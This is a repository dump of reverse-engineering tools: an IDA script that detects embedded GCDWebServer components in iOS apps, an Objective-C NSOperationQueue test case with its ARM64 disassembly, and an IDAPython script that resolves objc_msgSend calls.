if(get_name_ea(0, objPrefix + objGCDWebServer) == BADADDR && get_name_ea(0, objPrefix + objGCDWebDAVServer) == BADADDR && get_name_ea(0, objPrefix + objGCDWebUploader) == BADADDR) 311 | isObfuscated = 1; 312 | 313 | if(search_obj_ref(objPrefix + objGCDWebServerOrInheritance, "__objc_classrefs") == 1) 314 | { 315 | Message("main: objGCDWebServerOrInheritance: %s is Live!\n", objGCDWebServerOrInheritance); 316 | isGCDWebServerOrInheritanceLive = 1; 317 | } 318 | 319 | if(search_obj_ref(objPrefix + objGCDWebServerOrInheritance, "__got") == 1) // as a framework 320 | { 321 | Message("main: objGCDWebServerOrInheritance: %s is Live!\n", objGCDWebServerOrInheritance); 322 | isGCDWebServerOrInheritanceLive = 1; 323 | } 324 | 325 | 326 | if(search_obj_ref(objPrefix + objGCDWebDAVServerOrInheritance, "__objc_classrefs") == 1) 327 | { 328 | Message("main: objGCDWebDAVServerOrInheritance: %s is Live!\n", objGCDWebDAVServerOrInheritance); 329 | isGCDWebDAVServerOrInheritanceLive = 1; 330 | } 331 | 332 | if(search_obj_ref(objPrefix + objGCDWebDAVServerOrInheritance, "__got") == 1) // as a framework 333 | { 334 | Message("main: objGCDWebDAVServerOrInheritance: %s is Live!\n", objGCDWebDAVServerOrInheritance); 335 | isGCDWebDAVServerOrInheritanceLive = 1; 336 | } 337 | 338 | if(search_obj_ref(objPrefix + objGCDWebUploaderOrInheritance, "__objc_classrefs") == 1) 339 | { 340 | Message("main: objGCDWebUploaderOrInheritance: %s is Live!\n", objGCDWebUploaderOrInheritance); 341 | isGCDWebUploaderOrInheritanceLive = 1; 342 | } 343 | 344 | if(search_obj_ref(objPrefix + objGCDWebUploaderOrInheritance, "__got") == 1) // as a framework 345 | { 346 | Message("main: objGCDWebUploaderOrInheritance: %s is Live!\n", objGCDWebUploaderOrInheritance); 347 | isGCDWebUploaderOrInheritanceLive = 1; 348 | } 349 | 350 | //Message("main: DefaultHandlerForMethod:%d; DefaultHandlerForMethod_async:%d; HandlerForMethod:%d; HandlerForMethod_reg:%d; startWithOptions:%d; BindToLocalhost:%d; isObfuscated:%d; %s:%d; %s:%d; %s:%d;\n", addDefaultHandlerForMethod, addDefaultHandlerForMethod_async, addHandlerForMethod, addHandlerForMethod_reg, startWithOptions, BindToLocalhost, isObfuscated, objGCDWebServerOrInheritance, isGCDWebServerOrInheritanceLive, objGCDWebDAVServerOrInheritance, isGCDWebDAVServerOrInheritanceLive, objGCDWebUploaderOrInheritance, isGCDWebUploaderOrInheritanceLive); 351 | 352 | fseek(logfile, 0, 2); 353 | fprintf(logfile, "%s; DefaultHandlerForMethod:%d; DefaultHandlerForMethod_async:%d; HandlerForMethod:%d; HandlerForMethod_reg:%d; startWithOptions:%d; BindToLocalhost:%d; isObfuscated:%d; %s:%d; %s:%d; %s:%d;\n", ARGV[1], addDefaultHandlerForMethod, addDefaultHandlerForMethod_async, addHandlerForMethod, addHandlerForMethod_reg, startWithOptions, BindToLocalhost, isObfuscated, objGCDWebServerOrInheritance, isGCDWebServerOrInheritanceLive, objGCDWebDAVServerOrInheritance, isGCDWebDAVServerOrInheritanceLive, objGCDWebUploaderOrInheritance, isGCDWebUploaderOrInheritanceLive); 354 | fclose(logfile); 355 | 356 | Exit(0); // Exit IDA Pro 357 | // todo: 358 | // addDefaultHandlerForMethod:requestClass:processBlock: handler 359 | // 360 | // addHandlerForMethod:path:requestClass:processBlock: 361 | // addHandlerForMethod:pathRegex:requestClass:processBlock: 362 | 363 | 364 | } -------------------------------------------------------------------------------- /Static analysis/test case/Operation Queues/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | @interface Foo : NSObject { 24 | 25 | __strong NSOperationQueue *_operationQueue; 26 | 27 | } 28 | 29 | -(void)foox; 30 | 31 | @end 32 | 33 | 34 | 35 | @implementation Foo 36 | 37 | 38 | 39 | -(void)foox 40 | 41 | { 42 | 43 | NSBlockOperation *blockOperation = [NSBlockOperation blockOperationWithBlock:^{ 44 | 45 | NSLog(@"My Block Operation"); 46 | 47 | }]; 48 | 49 | 50 | 51 | _operationQueue = [[NSOperationQueue alloc] init]; 52 | 53 | _operationQueue.maxConcurrentOperationCount = 5; 54 | 55 | [_operationQueue addOperation:blockOperation]; 56 | 57 | [_operationQueue addOperation:[self operationWithData:@"My Sample Data"]]; 58 | 59 | [_operationQueue addOperationWithBlock:^{ 60 | 61 | NSLog(@"Inline Operation with Block"); 62 | 63 | }]; 64 | 65 | [blockOperation addExecutionBlock:^{ 66 | 67 | NSLog(@"Adding execution block to existing block"); 68 | 69 | }]; 70 | 71 | } 72 | 73 | 74 | 75 | - (NSOperation *)operationWithData:(id)data 76 | 77 | { 78 | 79 | return [[NSInvocationOperation alloc] initWithTarget:self selector:@selector(myWorkerMethod:) object:data]; 80 | 81 | } 82 | 83 | 84 | 85 | // This is the method that does the actual work 86 | 87 | - (void)myWorkerMethod:(id)data 88 | 89 | { 90 | 91 | NSLog(@"My Worker Method %@", data); 92 | 93 | } 94 | 95 | 96 | 97 | @end 98 | 99 | 100 | 101 | int main(int argc, char * argv[]) { 102 | 103 | 104 | 105 | @autoreleasepool { 106 | 107 | 108 | 109 | Foo *myfoo = [Foo new]; 110 | 111 | [myfoo foox]; 112 | 113 | 114 | 115 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 116 | 117 | } 118 | 119 | } 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | __text:000000010000657C ; =============== S U B R O U T I N E ======================================= 128 | 129 | __text:000000010000657C 130 | 131 | __text:000000010000657C ; Attributes: bp-based frame 132 | 133 | __text:000000010000657C 134 | 135 | __text:000000010000657C ; void __cdecl -[Foo foox](Foo *self, SEL) 136 | 137 | __text:000000010000657C __Foo_foox_ ; DATA XREF: __objc_const:0000000100008E30↓o 138 | 139 | __text:000000010000657C 140 | 141 | __text:000000010000657C var_28 = -0x28 142 | 143 | __text:000000010000657C var_20 = -0x20 144 | 145 | __text:000000010000657C var_18 = -0x18 146 | 147 | __text:000000010000657C var_10 = -0x10 148 | 149 | __text:000000010000657C var_8 = -8 150 | 151 | __text:000000010000657C var_s0 = 0 152 | 153 | __text:000000010000657C 154 | 155 | __text:000000010000657C SUB SP, SP, #0x40 156 | 157 | __text:0000000100006580 STP X29, X30, [SP,#0x30+var_s0] 158 | 159 | __text:0000000100006584 ADD X29, SP, #0x30 160 | 161 | __text:0000000100006588 ADRP X8, #___block_literal_global@PAGE 162 | 163 | __text:000000010000658C ADD X8, X8, #___block_literal_global@PAGEOFF 164 | 165 | __text:0000000100006590 ADRP X9, #selRef_blockOperationWithBlock_@PAGE 166 | 167 | __text:0000000100006594 ADD X9, X9, #selRef_blockOperationWithBlock_@PAGEOFF 168 | 169 | __text:0000000100006598 ADRP X10, #classRef_NSBlockOperation@PAGE 170 | 171 | __text:000000010000659C ADD X10, X10, #classRef_NSBlockOperation@PAGEOFF 172 | 173 | __text:00000001000065A0 STUR X0, [X29,#var_8] 174 | 175 | __text:00000001000065A4 STUR X1, [X29,#var_10] 176 | 177 | __text:00000001000065A8 LDR X10, [X10] ; _OBJC_CLASS_$_NSBlockOperation 178 | 179 | __text:00000001000065AC LDR X1, [X9] ; "blockOperationWithBlock:" 180 | 181 | __text:00000001000065B0 MOV X0, X10 ; void * 182 | 183 | __text:00000001000065B4 MOV X2, X8 184 | 185 | __text:00000001000065B8 BL _objc_msgSend 186 | 187 | __text:00000001000065BC MOV X29, X29 188 | 189 | __text:00000001000065C0 BL _objc_retainAutoreleasedReturnValue 190 | 191 | __text:00000001000065C4 ADRP X8, #selRef_alloc@PAGE 192 | 193 | __text:00000001000065C8 ADD X8, X8, #selRef_alloc@PAGEOFF 194 | 195 | __text:00000001000065CC ADRP X9, #classRef_NSOperationQueue@PAGE 196 | 197 | __text:00000001000065D0 ADD X9, X9, #classRef_NSOperationQueue@PAGEOFF 198 | 199 | __text:00000001000065D4 STR X0, [SP,#0x30+var_18] 200 | 201 | __text:00000001000065D8 LDR X9, [X9] ; _OBJC_CLASS_$_NSOperationQueue 202 | 203 | __text:00000001000065DC LDR X1, [X8] ; "alloc" 204 | 205 | __text:00000001000065E0 MOV X0, X9 ; void * 206 | 207 | __text:00000001000065E4 BL _objc_msgSend 208 | 209 | __text:00000001000065E8 ADRP X8, #selRef_init@PAGE 210 | 211 | __text:00000001000065EC ADD X8, X8, #selRef_init@PAGEOFF 212 | 213 | __text:00000001000065F0 LDR X1, [X8] ; "init" 214 | 215 | __text:00000001000065F4 BL _objc_msgSend 216 | 217 | __text:00000001000065F8 ADRP X8, #_OBJC_IVAR_$_Foo._operationQueue@PAGE ; NSOperationQueue *_operationQueue; 218 | 219 | __text:00000001000065FC ADD X8, X8, #_OBJC_IVAR_$_Foo._operationQueue@PAGEOFF ; NSOperationQueue *_operationQueue; 220 | 221 | __text:0000000100006600 LDUR X9, [X29,#var_8] 222 | 223 | __text:0000000100006604 LDRSW X8, [X8] ; NSOperationQueue *_operationQueue; 224 | 225 | __text:0000000100006608 ADD X8, X9, X8 226 | 227 | __text:000000010000660C LDR X9, [X8] 228 | 229 | __text:0000000100006610 STR X0, [X8] 230 | 231 | __text:0000000100006614 MOV X0, X9 232 | 233 | __text:0000000100006618 BL _objc_release 234 | 235 | __text:000000010000661C MOV X2, #5 236 | 237 | __text:0000000100006620 ADRP X8, #selRef_setMaxConcurrentOperationCount_@PAGE 238 | 239 | __text:0000000100006624 ADD X8, X8, #selRef_setMaxConcurrentOperationCount_@PAGEOFF 240 | 241 | __text:0000000100006628 ADRP X9, #_OBJC_IVAR_$_Foo._operationQueue@PAGE ; NSOperationQueue *_operationQueue; 242 | 243 | __text:000000010000662C ADD X9, X9, #_OBJC_IVAR_$_Foo._operationQueue@PAGEOFF ; NSOperationQueue *_operationQueue; 244 | 245 | __text:0000000100006630 LDUR X10, [X29,#var_8] 246 | 247 | __text:0000000100006634 LDRSW X9, [X9] ; NSOperationQueue *_operationQueue; 248 | 249 | __text:0000000100006638 ADD X9, X10, X9 250 | 251 | __text:000000010000663C LDR X9, [X9] 252 | 253 | __text:0000000100006640 LDR X1, [X8] ; "setMaxConcurrentOperationCount:" 254 | 255 | __text:0000000100006644 MOV X0, X9 ; void * 256 | 257 | __text:0000000100006648 BL _objc_msgSend 258 | 259 | __text:000000010000664C ADRP X8, #selRef_addOperation_@PAGE 260 | 261 | __text:0000000100006650 ADD X8, X8, #selRef_addOperation_@PAGEOFF 262 | 263 | __text:0000000100006654 ADRP X9, #_OBJC_IVAR_$_Foo._operationQueue@PAGE ; NSOperationQueue *_operationQueue; 264 | 265 | __text:0000000100006658 ADD X9, X9, #_OBJC_IVAR_$_Foo._operationQueue@PAGEOFF ; NSOperationQueue *_operationQueue; 266 | 267 | __text:000000010000665C LDUR X10, [X29,#var_8] 268 | 269 | __text:0000000100006660 LDRSW X9, [X9] ; NSOperationQueue *_operationQueue; 270 | 271 | __text:0000000100006664 ADD X9, X10, X9 272 | 273 | __text:0000000100006668 LDR X9, [X9] 274 | 275 | __text:000000010000666C LDR X10, [SP,#0x30+var_18] 276 | 277 | __text:0000000100006670 LDR X1, [X8] ; "addOperation:" 278 | 279 | __text:0000000100006674 MOV X0, X9 ; void * 280 | 281 | __text:0000000100006678 MOV X2, X10 282 | 283 | __text:000000010000667C BL _objc_msgSend 284 | 285 | __text:0000000100006680 ADRP X8, #cfstr_MySampleData@PAGE ; "My Sample Data" 286 | 287 | __text:0000000100006684 ADD X8, X8, #cfstr_MySampleData@PAGEOFF ; "My Sample Data" 288 | 289 | __text:0000000100006688 ADRP X9, #selRef_operationWithData_@PAGE 290 | 291 | __text:000000010000668C ADD X9, X9, #selRef_operationWithData_@PAGEOFF 292 | 293 | __text:0000000100006690 ADRP X10, #_OBJC_IVAR_$_Foo._operationQueue@PAGE ; NSOperationQueue *_operationQueue; 294 | 295 | __text:0000000100006694 ADD X10, X10, #_OBJC_IVAR_$_Foo._operationQueue@PAGEOFF ; NSOperationQueue *_operationQueue; 296 | 297 | __text:0000000100006698 LDUR X0, [X29,#var_8] 298 | 299 | __text:000000010000669C LDRSW X10, [X10] ; NSOperationQueue *_operationQueue; 300 | 301 | __text:00000001000066A0 ADD X10, X0, X10 302 | 303 | __text:00000001000066A4 LDR X10, [X10] 304 | 305 | __text:00000001000066A8 LDUR X0, [X29,#var_8] 306 | 307 | __text:00000001000066AC LDR X1, [X9] ; "operationWithData:" 308 | 309 | __text:00000001000066B0 MOV X2, X8 310 | 311 | __text:00000001000066B4 STR X10, [SP,#0x30+var_20] 312 | 313 | __text:00000001000066B8 BL _objc_msgSend 314 | 315 | __text:00000001000066BC MOV X29, X29 316 | 317 | __text:00000001000066C0 BL _objc_retainAutoreleasedReturnValue 318 | 319 | __text:00000001000066C4 ADRP X8, #selRef_addOperation_@PAGE 320 | 321 | __text:00000001000066C8 ADD X8, X8, #selRef_addOperation_@PAGEOFF 322 | 323 | __text:00000001000066CC LDR X1, [X8] ; "addOperation:" 324 | 325 | __text:00000001000066D0 LDR X8, [SP,#0x30+var_20] 326 | 327 | __text:00000001000066D4 STR X0, [SP,#0x30+var_28] 328 | 329 | __text:00000001000066D8 MOV X0, X8 ; void * 330 | 331 | __text:00000001000066DC LDR X2, [SP,#0x30+var_28] 332 | 333 | __text:00000001000066E0 BL _objc_msgSend 334 | 335 | __text:00000001000066E4 LDR X0, [SP,#0x30+var_28] 336 | 337 | __text:00000001000066E8 BL _objc_release 338 | 339 | __text:00000001000066EC ADRP X8, #___block_literal_global.18@PAGE 340 | 341 | __text:00000001000066F0 ADD X8, X8, #___block_literal_global.18@PAGEOFF 342 | 343 | __text:00000001000066F4 ADRP X9, #selRef_addOperationWithBlock_@PAGE 344 | 345 | __text:00000001000066F8 ADD X9, X9, #selRef_addOperationWithBlock_@PAGEOFF 346 | 347 | __text:00000001000066FC ADRP X10, #_OBJC_IVAR_$_Foo._operationQueue@PAGE ; NSOperationQueue *_operationQueue; 348 | 349 | __text:0000000100006700 ADD X10, X10, #_OBJC_IVAR_$_Foo._operationQueue@PAGEOFF ; NSOperationQueue *_operationQueue; 350 | 351 | __text:0000000100006704 LDUR X0, [X29,#var_8] 352 | 353 | __text:0000000100006708 LDRSW X10, [X10] ; NSOperationQueue *_operationQueue; 354 | 355 | __text:000000010000670C ADD X10, X0, X10 356 | 357 | __text:0000000100006710 LDR X10, [X10] 358 | 359 | __text:0000000100006714 LDR X1, [X9] ; "addOperationWithBlock:" 360 | 361 | __text:0000000100006718 MOV X0, X10 ; void * 362 | 363 | __text:000000010000671C MOV X2, X8 364 | 365 | __text:0000000100006720 BL _objc_msgSend 366 | 367 | __text:0000000100006724 ADRP X8, #___block_literal_global.24@PAGE 368 | 369 | __text:0000000100006728 ADD X8, X8, #___block_literal_global.24@PAGEOFF 370 | 371 | __text:000000010000672C ADRP X9, #selRef_addExecutionBlock_@PAGE 372 | 373 | __text:0000000100006730 ADD X9, X9, #selRef_addExecutionBlock_@PAGEOFF 374 | 375 | __text:0000000100006734 LDR X10, [SP,#0x30+var_18] 376 | 377 | __text:0000000100006738 LDR X1, [X9] ; "addExecutionBlock:" 378 | 379 | __text:000000010000673C MOV X0, X10 ; void * 380 | 381 | __text:0000000100006740 MOV X2, X8 382 | 383 | __text:0000000100006744 BL _objc_msgSend 384 | 385 | __text:0000000100006748 MOV X8, #0 386 | 387 | __text:000000010000674C ADD X9, SP, #0x30+var_18 388 | 389 | __text:0000000100006750 MOV X0, X9 390 | 391 | __text:0000000100006754 MOV X1, X8 392 | 393 | __text:0000000100006758 BL _objc_storeStrong 394 | 395 | __text:000000010000675C LDP X29, X30, [SP,#0x30+var_s0] 396 | 397 | __text:0000000100006760 ADD SP, SP, #0x40 398 | 399 | __text:0000000100006764 RET 400 | 401 | __text:0000000100006764 ; End of function -[Foo foox] 402 | 403 | __text:0000000100006764 404 | 405 | 406 | __text:0000000100006768 407 | 408 | -------------------------------------------------------------------------------- /Static analysis/IDAPython/build_call_hierarchy.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import idaapi, idc, idautils, ida_auto 4 | import re 5 | 6 | import re 7 | import ida_ua 8 | 9 | ida_auto.autoWait() 10 | 11 | # reference 12 | # + ref: https://www.hex-rays.com/products/ida/support/idapython_docs/ 13 | # + https://www.hex-rays.com/products/ida/support/idadoc/162.shtml 14 | # + http://magiclantern.wikia.com/wiki/IDAPython/intro 15 | # + https://www.fireeye.com/blog/threat-research/2017/03/introduction_to_reve.html 16 | # https://github.com/zynamics/objc-helper-plugin-ida <- for ios, but the output of ida pro has changed tremendous, this script can not run anymore 17 | # https://github.com/fireeye/flare-ida <- for x86 18 | 19 | def build_call_hierarchy(my_ea, gap, last_code_block): 20 | 21 | return 22 | 23 | def get_name_ea(): 24 | return 25 | 26 | def _info(ea, info): 27 | DEBUG = True 28 | if DEBUG: 29 | print ea, info 30 | 31 | return 32 | 33 | 34 | def get_name(scan_frm, scan_to, start_place): 35 | 36 | _info(hex(scan_frm), "start scanning: " + start_place) 37 | #print hex(scan_frm), "start scanning: " + start_place 38 | # track the operand is not likely to be reasonable, so, i parse name of the operands 39 | 40 | checking_place = start_place 41 | poluted_reg_flag = False # if source are `may' polluted reg by function call, set the flag 2 True 42 | 43 | ea_cur = scan_frm 44 | ea_to = scan_to 45 | #print hex(ea) 46 | 47 | while ea_cur != idc.BADADDR and ea_cur != ea_to: 48 | ea_cur = idc.PrevHead(ea_cur, ea_to) 49 | #print "visiting:", hex(ea_cur), idc.GetDisasm(ea_cur) 50 | if idaapi.is_call_insn(ea_cur) and idc.GetOpnd(ea_cur, 0) not in ['_objc_retainAutoreleasedReturnValue']: 51 | 52 | if poluted_reg_flag == True: # break if there is a call and the checking place is `X0 - X3', for call may pollute the `X0 - X3' reg 53 | 54 | _info(hex(ea_cur), checking_place + " may pollute, return") 55 | return None # i will make a radical predict for all undecided classname (all class contains the same selector will be called) 56 | 57 | if idc.GetMnem(ea_cur) in ['LDR', 'MOV', 'LDUR', 'ADD']: # more inst?? 58 | src_op = 1 59 | dest_op = 0 60 | elif idc.GetMnem(ea_cur) in ['STR', 'STUR']: 61 | src_op = 0 62 | dest_op = 1 63 | else: 64 | continue 65 | 66 | 67 | # idc.GetOpType(ea_cur, dest_op) == idaapi.o_reg and 68 | operands = re.match(".*\s+(.+), ([^;]+)(;\w+)*", idc.GetDisasm(ea_cur)) 69 | 70 | if operands.group(dest_op + 1) == checking_place: 71 | 72 | #print hex(ea_cur) 73 | 74 | if idc.GetOpType(ea_cur, src_op) == idc.o_reg: 75 | #print "o_reg" 76 | 77 | # __text:0000000100006A00 ADD X8, X8, #selRef_class@PAGEOFF 78 | if idc.GetMnem(ea_cur) == 'ADD': 79 | try: 80 | name = re.match(".*#.*Ref_(\w+)@PAGEOFF", idc.GetDisasm(ea_cur)).group(1) 81 | return name 82 | except: 83 | return None 84 | 85 | # TODO: __text:00000001000069C4 ADD X1, X1, #cfstr_Xx@PAGEOFF ; "xx" 86 | 87 | # Direct reg-reg assignment 88 | _info(hex(ea_cur), checking_place + ' <-- ' + operands.group(src_op + 1)) 89 | checking_place = operands.group(src_op + 1) 90 | 91 | src_reg_val = idc.GetOperandValue(ea_cur, src_op) 92 | 93 | if src_reg_val >= 129 and src_reg_val <= 132: 94 | poluted_reg_flag = True 95 | else: 96 | poluted_reg_flag = False 97 | 98 | #print cur_place 99 | 100 | elif idc.GetOpType(ea_cur, src_op) == idc.o_displ: 101 | #print "idc.o_displ" 102 | ''' 103 | __text:000000010000752C LDR X0, [X28,#classRef_UIView@PAGEOFF] ; void * 104 | __text:0000000100007530 ADRP X8, #selRef_alloc@PAGE 105 | __text:0000000100007534 LDR X24, [X8,#selRef_alloc@PAGEOFF] 106 | __text:0000000100007538 STR X24, [SP,#0x100+var_A0] 107 | __text:000000010000753C MOV X1, X24 ; char * 108 | __text:0000000100007540 BL _objc_msgSend 109 | 110 | [UIView alloc], there is no implementation in the binary at all, point to the impementation in framework 111 | ''' 112 | 113 | ''' 114 | __text:00000001000076EC LDR X8, [X19,X27] 115 | __text:00000001000076F0 CBNZ X8, loc_100007AA4 116 | __text:00000001000076F4 ADRP X8, #classRef_UILabel@PAGE 117 | __text:00000001000076F8 LDR X0, [X8,#classRef_UILabel@PAGEOFF] ; void * 118 | __text:00000001000076FC LDR X1, [SP,#0x100+var_A0] ; char * 119 | 120 | value of X1 comes from stack, it's a [Base Reg + Index Reg + Displacement] mode 121 | 122 | LDR X0, [X27,#classRef_ESInterface@PAGEOFF] ; void * 123 | STR X26, [SP,#0x100+var_A8] 124 | 125 | 126 | the below 2 blocks are the same for a selector assignment 127 | 128 | __text:00000001000069D8 ADRP X8, #selRef_setFillColor_@PAGE 129 | __text:00000001000069DC ADD X8, X8, #selRef_setFillColor_@PAGEOFF 130 | __text:00000001000069E0 LDUR X0, [X29,#var_20] 131 | __text:00000001000069E4 LDR X1, [X8] ; "setFillColor:" 132 | __text:00000001000069E8 MOV X2, X9 133 | __text:00000001000069EC BL _objc_msgSend 134 | 135 | __text:00000001000069A4 ADRP X0, #selRef_setBounds_@PAGE 136 | __text:00000001000069A8 LDR X0, [X0,#selRef_setBounds_@PAGEOFF] 137 | __text:00000001000069AC LDUR X1, [X29,#var_40+8] 138 | __text:00000001000069B0 LDUR X30, [X29,#var_40] 139 | __text:00000001000069B4 STR X0, [SP,#0x90+var_50] 140 | __text:00000001000069B8 MOV X0, X8 ; void * 141 | __text:00000001000069BC LDR X8, [SP,#0x90+var_50] 142 | __text:00000001000069C0 STR X1, [SP,#0x90+var_58] 143 | __text:00000001000069C4 MOV X1, X8 ; char * 144 | __text:00000001000069C8 MOV X2, X30 145 | __text:00000001000069CC LDR X3, [SP,#0x90+var_58] 146 | __text:00000001000069D0 BL _objc_msgSend 147 | 148 | __text:00000001000069FC ADRP X8, #selRef_class@PAGE 149 | __text:0000000100006A00 ADD X8, X8, #selRef_class@PAGEOFF 150 | __text:0000000100006A04 ADRP X0, #classRef_AppDelegate@PAGE 151 | __text:0000000100006A08 ADD X0, X0, #classRef_AppDelegate@PAGEOFF 152 | __text:0000000100006A0C LDUR W9, [X29,#var_28] 153 | __text:0000000100006A10 LDUR X1, [X29,#var_30] 154 | __text:0000000100006A14 LDR X0, [X0] ; _OBJC_CLASS_$_AppDelegate ; void * 155 | __text:0000000100006A18 LDR X8, [X8] ; "class" 156 | __text:0000000100006A1C STR X1, [SP,#0x90+var_60] 157 | __text:0000000100006A20 MOV X1, X8 ; char * 158 | __text:0000000100006A24 STR W9, [SP,#0x90+var_64] 159 | __text:0000000100006A28 BL _objc_msgSend 160 | 161 | ''' 162 | poluted_reg_flag = False 163 | try: 164 | name = re.match(".*#.*Ref_(\w+)@PAGEOFF", idc.GetDisasm(ea_cur)).group(1) 165 | return name 166 | except: 167 | #print idc.GetString(idc.GetOperandValue(ea_cur, 1), -1, idc.ASCSTR_C) 168 | _info(hex(ea_cur), checking_place + ' <-- ' + operands.group(src_op + 1)) 169 | checking_place = operands.group(src_op + 1) 170 | ''' 171 | __text:0000000100006A00 ADD X8, X8, #selRef_class@PAGEOFF 172 | ... 173 | __text:0000000100006A18 LDR X8, [X8] ; "class" 174 | ''' 175 | oprand = idc.GetOpnd(ea_cur, 1) 176 | if len(oprand) <= 5 and oprand.startswith('[') and oprand.endswith(']'): 177 | checking_place = oprand[1: len(oprand) - 1] 178 | #print checking_place 179 | elif idc.GetOpType(ea_cur, src_op) == idc.o_phrase: # can find nothing at all 180 | #print "idc.o_phrase" 181 | _info(hex(ea_cur), checking_place + ' <-- ' + operands.group(src_op + 1)) 182 | checking_place = operands.group(src_op + 1) 183 | elif idc.GetOpType(ea_cur, src_op) == ida_ua.o_imm: 184 | return None 185 | else: 186 | 187 | # elif idc.GetOpType(ea_cur, src_op) == idc.o_mem: 188 | # print "o_mem" 189 | 190 | print hex(ea_cur), idc.GetDisasm(ea_cur), "<----------unknown type operand", 191 | # return 192 | exit(0) 193 | # ea_cur = idc.GetOperandValue(ea_cur, dest_op) 194 | if checking_place == "X0": 195 | # X0 point to `self' 196 | # -[ESUISendCell createSubviewsAndinitLayout] 197 | try: 198 | self_name = re.match("-\[(\w+) \w+", idc.get_func_name(ea_cur)).group(1) 199 | return self_name 200 | except: 201 | print '%08x: Unable to solve `self`' % ea_cur 202 | return None 203 | else: 204 | _info(hex(scan_frm), "reaching the start pos of the func") 205 | 206 | return None 207 | 208 | TOTAL_CALL = 0 209 | RESOLVED_CALL = 0 210 | 211 | def patch_call(): 212 | 213 | 214 | global TOTAL_CALL 215 | global RESOLVED_CALL 216 | 217 | ea = idc.LocByName('_objc_msgSend') 218 | if ea == idc.BADADDR or ea == 0: 219 | return 220 | 221 | debug_checker = 0x7FFFFFFF 222 | debug_cur = 0 223 | 224 | for xref in idautils.XrefsTo(ea, idaapi.XREF_ALL): 225 | TOTAL_CALL += 1 226 | #print hex(xref.frm) 227 | ea_to = idc.GetFunctionAttr(xref.frm, idc.FUNCATTR_START) 228 | ea_cur = xref.frm 229 | 230 | if not ea_cur or ea_cur == idc.BADADDR: 231 | continue 232 | 233 | if not ea_to or ea_to == idc.BADADDR: 234 | continue 235 | 236 | _info("****** starting pos: ", hex(ea_cur)) 237 | class_name = get_name(ea_cur, ea_to, 'X0') 238 | selector_name = get_name(ea_cur, ea_to, 'X1') 239 | 240 | print "[", class_name, selector_name, "]" 241 | 242 | if selector_name == "new": # patch this inst -> mov X0, X0, TODO: point to init instead 243 | #print "new" 244 | idc.PatchDword(ea_cur, 0xAA0003E0) 245 | idc.MakeCode(ea_cur) 246 | if selector_name == "init": # patch this inst -> mov X0, X0, TODO: point to init implementation 247 | #print "new" 248 | idc.PatchDword(ea_cur, 0xAA0003E0) 249 | idc.MakeCode(ea_cur) 250 | 251 | if selector_name == "alloc": # patch this inst -> mov X0, X0, the return value is the same object 252 | #print "new" 253 | idc.PatchDword(ea_cur, 0xAA0003E0) 254 | idc.MakeCode(ea_cur) 255 | 256 | 257 | if class_name == None or selector_name == None: 258 | debug_cur += 1 259 | if debug_cur >= debug_checker: 260 | #if selector_name == "start:": 261 | print "total call", TOTAL_CALL, "solved call", RESOLVED_CALL 262 | break 263 | else: 264 | RESOLVED_CALL += 1 265 | 266 | 267 | 268 | # patch_msg_send(ea_cur, ea_to) 269 | 270 | 271 | ''' 272 | ea_cur = 0x100010bb0L 273 | 274 | ea_to = idc.GetFunctionAttr(ea_cur, idc.FUNCATTR_START) 275 | print "starting pos", hex(ea_cur) 276 | 277 | # class param in `X0', 129 278 | # selector param in `X1', 130 279 | 280 | class_name = get_name(ea_cur, ea_to, "X0") 281 | selector_name = get_name(ea_cur, ea_to, "X1") 282 | 283 | print "[", class_name, selector_name, "]" 284 | return 285 | ''' 286 | 287 | def main(): 288 | 289 | #print hex(idc.LocByName('_objc_msgSend')) 290 | ''' 291 | ea_cur = 0x0000000100006900 292 | print hex(idc.GetOperandValue(ea_cur, 1)) 293 | ea_cur = 0x0000000100006974 294 | print hex(idc.GetOperandValue(ea_cur, 1)) 295 | ''' 296 | 297 | #return 298 | #print idc.GetOpType(ea_cur, 1) 299 | #print idc.GetOpnd(ea_cur, 1) 300 | # print hex(idc.GetOperandValue(ea_cur, 2)) 301 | # return 302 | 303 | patch_call() 304 | 305 | ''' 306 | ea_cur = idc.LocByName("_OBJC_CLASS_$_" + "Circle") 307 | ea_cur += 0x20 308 | ea_cur = idc.Qword(ea_cur) 309 | print hex(ea_cur) 310 | ea_cur += 0x20 311 | ea_cur = idc.Qword(ea_cur) 312 | ea_cur += 8 313 | 314 | print hex(ea_cur) 315 | ''' 316 | 317 | return 318 | 319 | if __name__ == '__main__': 320 | main() 321 | --------------------------------------------------------------------------------